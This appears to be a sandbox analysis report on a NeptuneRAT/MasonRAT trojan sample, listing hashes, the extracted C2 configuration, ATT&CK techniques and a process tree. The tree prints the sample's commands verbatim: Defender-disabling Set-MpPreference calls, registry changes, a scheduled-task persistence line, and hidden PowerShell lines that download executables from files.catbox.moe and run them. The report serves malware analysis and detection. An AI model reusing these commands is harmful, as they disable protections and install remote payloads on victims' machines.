neptunerat | ba5f4d0bad88b67619e6e1c687f9e1b5874fc95905f7885a358df4391d86c761

Analysis

max time kernel
87s
max time network
147s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
02/11/2026, 03:04

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2.exe
Size 48KB
Sample261102-dkpdqszwgt
SHA256 ba5f4d0bad88b67619e6e1c687f9e1b5874fc95905f7885a358df4391d86c761
MD5 d7c692ecde39fffc4354e769d28a7f01
SHA1 0df3faffe1d0080aee4924281baf38a340d4c26d
SHA512 34a597b5bf5c67c6c49146d4186ed2729a3fc531eba93979072ae6689b0378b92e4b682727c91a2c63380d9d5013545cf4c105f2314dac39a6b8bf41ea40942e
SSDEEP 768:1/7AfQR81kX4AUZTK6bvklJb5biy5ARj6NmhLOGbOYr:1TjR33UZTK6bvklbbiCu1OTYr
TLSH
T10223D58DBBE40129D5BF5AF16D73A209C7B079935507C20FACD402DB2B26B984691EF3
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution neptunerat persistence trojan

Malware Config

Extracted

Family

neptunerat

23.tcp.cpolar.top:12649

Attributes

filename
USB.exe
group
MasonGroup
key
lR0gMGJ4C08hyTTW
rat_name
MasonRAT

Signatures

Family: NeptuneRAT, MasonRAT
NeptuneRAT aka MasonRAT is a trojan written in C#.
trojan neptunerat

Contains code to disable Windows Defender 1 IoCs

A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

resource	yara_rule
behavioral2/memory/884-11-0x0000000001390000-0x000000000139A000-memory.dmp	disable_win_def

Detects NeptuneRAT stealer 2 IoCs

resource	yara_rule
behavioral2/memory/884-1-0x0000000000BF0000-0x0000000000C02000-memory.dmp	family_neptunerat
behavioral2/files/0x003b00000001166b-7.dat	family_neptunerat

Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs

defense_evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	2.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	2.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	2.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 18 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2064	powershell.exe
4524	powershell.exe
5252	powershell.exe
4208	powershell.exe
920	powershell.exe
4564	powershell.exe
3512	powershell.exe
5852	powershell.exe
792	powershell.exe
1320	powershell.exe
2856	powershell.exe
1312	powershell.exe
3792	powershell.exe
6884	powershell.exe
6016	powershell.exe
4152	powershell.exe
3468	powershell.exe
3932	powershell.exe

Disables one or more Microsoft Defender components 1 TTPs 7 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
1320	powershell.exe
2856	powershell.exe
1312	powershell.exe
4564	powershell.exe
5252	powershell.exe
5852	powershell.exe
792	powershell.exe

Disables automatic submission of suspicious files to Microsoft by Windows Defender 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to prevent Windows Defender from automatically sending files to Microsoft for analysis.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
3512	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
1240	2.exe
5288	2.exe

Enumerates video capture drivers 2 TTPs 1 IoCs

Queries the legacy Video for Windows capture drivers. This is commonly abused by RATs to check for available webcams on the system before reporting to their C2.

discovery defense_evasion

Peripheral Device Discovery

T1120

Video Capture

T1125

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\msvideo9	2.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	2.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	2.exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
3052	taskkill.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1960	schtasks.exe

Suspicious behavior: EnumeratesProcesses 48 IoCs

pid	Process
5696	powershell.exe
5696	powershell.exe
5696	powershell.exe
5852	powershell.exe
5852	powershell.exe
5252	powershell.exe
5252	powershell.exe
792	powershell.exe
792	powershell.exe
1320	powershell.exe
1320	powershell.exe
2856	powershell.exe
2856	powershell.exe
5252	powershell.exe
792	powershell.exe
1312	powershell.exe
1312	powershell.exe
3792	powershell.exe
3792	powershell.exe
5852	powershell.exe
5852	powershell.exe
4208	powershell.exe
4208	powershell.exe
1320	powershell.exe
1320	powershell.exe
920	powershell.exe
920	powershell.exe
2856	powershell.exe
2856	powershell.exe
2064	powershell.exe
2064	powershell.exe
920	powershell.exe
1312	powershell.exe
1312	powershell.exe
4524	powershell.exe
4524	powershell.exe
3792	powershell.exe
3792	powershell.exe
4564	powershell.exe
4564	powershell.exe
2064	powershell.exe
4208	powershell.exe
4208	powershell.exe
3512	powershell.exe
3512	powershell.exe
4564	powershell.exe
4524	powershell.exe
3512	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	884	2.exe
Token: SeDebugPrivilege	1240	2.exe
Token: SeDebugPrivilege	5288	2.exe
Token: SeDebugPrivilege	5696	powershell.exe
Token: SeIncreaseQuotaPrivilege	5696	powershell.exe
Token: SeSecurityPrivilege	5696	powershell.exe
Token: SeTakeOwnershipPrivilege	5696	powershell.exe
Token: SeLoadDriverPrivilege	5696	powershell.exe
Token: SeSystemProfilePrivilege	5696	powershell.exe
Token: SeSystemtimePrivilege	5696	powershell.exe
Token: SeProfSingleProcessPrivilege	5696	powershell.exe
Token: SeIncBasePriorityPrivilege	5696	powershell.exe
Token: SeCreatePagefilePrivilege	5696	powershell.exe
Token: SeBackupPrivilege	5696	powershell.exe
Token: SeRestorePrivilege	5696	powershell.exe
Token: SeShutdownPrivilege	5696	powershell.exe
Token: SeDebugPrivilege	5696	powershell.exe
Token: SeSystemEnvironmentPrivilege	5696	powershell.exe
Token: SeRemoteShutdownPrivilege	5696	powershell.exe
Token: SeUndockPrivilege	5696	powershell.exe
Token: SeManageVolumePrivilege	5696	powershell.exe
Token: 33	5696	powershell.exe
Token: 34	5696	powershell.exe
Token: 35	5696	powershell.exe
Token: 36	5696	powershell.exe
Token: SeDebugPrivilege	5852	powershell.exe
Token: SeDebugPrivilege	5252	powershell.exe
Token: SeDebugPrivilege	792	powershell.exe
Token: SeDebugPrivilege	1320	powershell.exe
Token: SeDebugPrivilege	2856	powershell.exe
Token: SeDebugPrivilege	1312	powershell.exe
Token: SeDebugPrivilege	3792	powershell.exe
Token: SeDebugPrivilege	4208	powershell.exe
Token: SeDebugPrivilege	920	powershell.exe
Token: SeDebugPrivilege	2064	powershell.exe
Token: SeDebugPrivilege	4524	powershell.exe
Token: SeDebugPrivilege	4564	powershell.exe
Token: SeIncreaseQuotaPrivilege	5252	powershell.exe
Token: SeSecurityPrivilege	5252	powershell.exe
Token: SeTakeOwnershipPrivilege	5252	powershell.exe
Token: SeLoadDriverPrivilege	5252	powershell.exe
Token: SeSystemProfilePrivilege	5252	powershell.exe
Token: SeSystemtimePrivilege	5252	powershell.exe
Token: SeProfSingleProcessPrivilege	5252	powershell.exe
Token: SeIncBasePriorityPrivilege	5252	powershell.exe
Token: SeCreatePagefilePrivilege	5252	powershell.exe
Token: SeBackupPrivilege	5252	powershell.exe
Token: SeRestorePrivilege	5252	powershell.exe
Token: SeShutdownPrivilege	5252	powershell.exe
Token: SeDebugPrivilege	5252	powershell.exe
Token: SeSystemEnvironmentPrivilege	5252	powershell.exe
Token: SeRemoteShutdownPrivilege	5252	powershell.exe
Token: SeUndockPrivilege	5252	powershell.exe
Token: SeManageVolumePrivilege	5252	powershell.exe
Token: 33	5252	powershell.exe
Token: 34	5252	powershell.exe
Token: 35	5252	powershell.exe
Token: 36	5252	powershell.exe
Token: SeDebugPrivilege	3512	powershell.exe
Token: SeIncreaseQuotaPrivilege	792	powershell.exe
Token: SeSecurityPrivilege	792	powershell.exe
Token: SeTakeOwnershipPrivilege	792	powershell.exe
Token: SeLoadDriverPrivilege	792	powershell.exe
Token: SeSystemProfilePrivilege	792	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
884	2.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 884 wrote to memory of 1960	884	2.exe	89
PID 884 wrote to memory of 5696	884	2.exe	96
PID 884 wrote to memory of 5252	884	2.exe	99
PID 884 wrote to memory of 5852	884	2.exe	101
PID 884 wrote to memory of 792	884	2.exe	103
PID 884 wrote to memory of 1320	884	2.exe	105
PID 884 wrote to memory of 2856	884	2.exe	107
PID 884 wrote to memory of 1312	884	2.exe	109
PID 884 wrote to memory of 3792	884	2.exe	111
PID 884 wrote to memory of 4208	884	2.exe	113
PID 884 wrote to memory of 920	884	2.exe	115
PID 884 wrote to memory of 2064	884	2.exe	117
PID 884 wrote to memory of 4524	884	2.exe	119
PID 884 wrote to memory of 4564	884	2.exe	121
PID 884 wrote to memory of 3512	884	2.exe	123

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2.exe
"C:\Users\Admin\AppData\Local\Temp\2.exe"
1⤵
- Modifies Windows Defender Real-time Protection settings
- Enumerates video capture drivers
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:884
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /tn "2" /tr "C:\Users\Admin\AppData\Roaming\2.exe"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1960
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" Get-MpPreference -verbose
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5696
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableArchiveScanning $true
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Disables one or more Microsoft Defender components
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5252
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableBlockAtFirstSeen $true
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Disables one or more Microsoft Defender components
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5852
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableIOAVProtection $true
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Disables one or more Microsoft Defender components
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:792
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisablePrivacyMode $true
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Disables one or more Microsoft Defender components
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1320
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableRealtimeMonitoring $true
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Disables one or more Microsoft Defender components
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2856
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableScriptScanning $true
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Disables one or more Microsoft Defender components
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1312
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -HighThreatDefaultAction 6 -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3792
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -LowThreatDefaultAction 6
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4208
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -MAPSReporting 0
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:920
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ModerateThreatDefaultAction 6
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2064
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SevereThreatDefaultAction 6
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4524
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Disables one or more Microsoft Defender components
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4564
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Disables automatic submission of suspicious files to Microsoft by Windows Defender
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3512
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoP -EP Bypass -W Hidden -C "iwr 'https://files.catbox.moe/qqxatd.bat' -OutFile $env:TEMP\Mason283943.exe; Start-Process -WindowStyle Hidden $env:TEMP\Mason283943.exe"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6016
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoP -EP Bypass -W Hidden -C "iwr 'https://files.catbox.moe/srw7fu.rar' -OutFile $env:TEMP\Mason671079.exe; Start-Process -WindowStyle Hidden $env:TEMP\Mason671079.exe"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3468
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoP -EP Bypass -W Hidden -C "iwr 'https://files.catbox.moe/g008kp.rar' -OutFile $env:TEMP\Mason833654.exe; Start-Process -WindowStyle Hidden $env:TEMP\Mason833654.exe"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4152
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill /F /IM explorer.exe
  2⤵
  - Kills process with taskkill
  PID:3052
- C:\Windows\explorer.exe
  "C:\Windows\explorer.exe"
  2⤵
  PID:4660
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoP -EP Bypass -W Hidden -C "iwr 'https://files.catbox.moe/atxah8.rar' -OutFile $env:TEMP\Mason905634.exe; Start-Process -WindowStyle Hidden $env:TEMP\Mason905634.exe"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6884
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoP -EP Bypass -W Hidden -C "iwr 'https://files.catbox.moe/jmo7ib.rar' -OutFile $env:TEMP\Mason243293.exe; Start-Process -WindowStyle Hidden $env:TEMP\Mason243293.exe"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3932

C:\Users\Admin\AppData\Roaming\2.exe
C:\Users\Admin\AppData\Roaming\2.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1240

C:\Users\Admin\AppData\Roaming\2.exe
"C:\Users\Admin\AppData\Roaming\2.exe"
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5288

C:\Users\Admin\AppData\Roaming\2.exe
"C:\Users\Admin\AppData\Roaming\2.exe"
1⤵
PID:3384

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x00000000000004D8 0x00000000000004EC
1⤵
PID:1816

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Video Capture

T1125

Command and Control

Exfiltration

Impact